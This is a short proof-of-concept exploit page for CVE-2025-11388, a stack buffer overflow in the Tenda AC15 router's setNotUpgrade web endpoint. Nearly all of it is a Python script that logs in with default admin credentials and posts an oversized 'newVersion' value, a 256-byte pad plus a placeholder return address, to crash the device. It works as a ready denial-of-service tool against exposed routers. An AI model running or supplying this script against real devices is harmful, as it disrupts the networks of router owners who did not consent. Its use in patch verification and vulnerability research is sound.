CVE-2025-11388 Tenda AC15 setNotUpgrade接口栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11388 - Tenda AC15 setNotUpgrade Stack-based Buffer Overflow PoC # Vulnerability: Stack buffer overflow via 'newVersion' parameter in /goform/setNotUpgrade # Affected: Tenda AC15 firmware 15.03.05.18 import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/login/Auth" EXPLOIT_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/goform/setNotUpgrade" USERNAME = "admin" PASSWORD = "admin" def exploit(): session = requests.Session() # Step 1: Authenticate to the router with low-privilege credentials login_payload = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=login_payload, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return # Step 2: Craft malicious payload to overflow the stack buffer # The 'newVersion' parameter is copied into a fixed-size stack buffer # without proper bounds checking, leading to stack-based buffer overflow buffer_size = 256 # estimated buffer size on stack padding = b"A" * buffer_size # Return address overwrite (example: address in firmware) ret_address = b"\x41\x41\x41\x41" payload = padding + ret_address # Step 3: Send the crafted request to trigger the overflow exploit_payload = { "newVersion": payload.decode('latin-1') } print(f"[*] Sending exploit payload to {EXPLOIT_URL}") try: resp = session.post(EXPLOIT_URL, data=exploit_payload, timeout=10) print(f"[*] Exploit response status: {resp.status_code}") except Exception as e: print(f"[*] Connection may have been reset (possible crash): {e}") print("[+] Exploit attempt completed.") if __name__ == "__main__": exploit()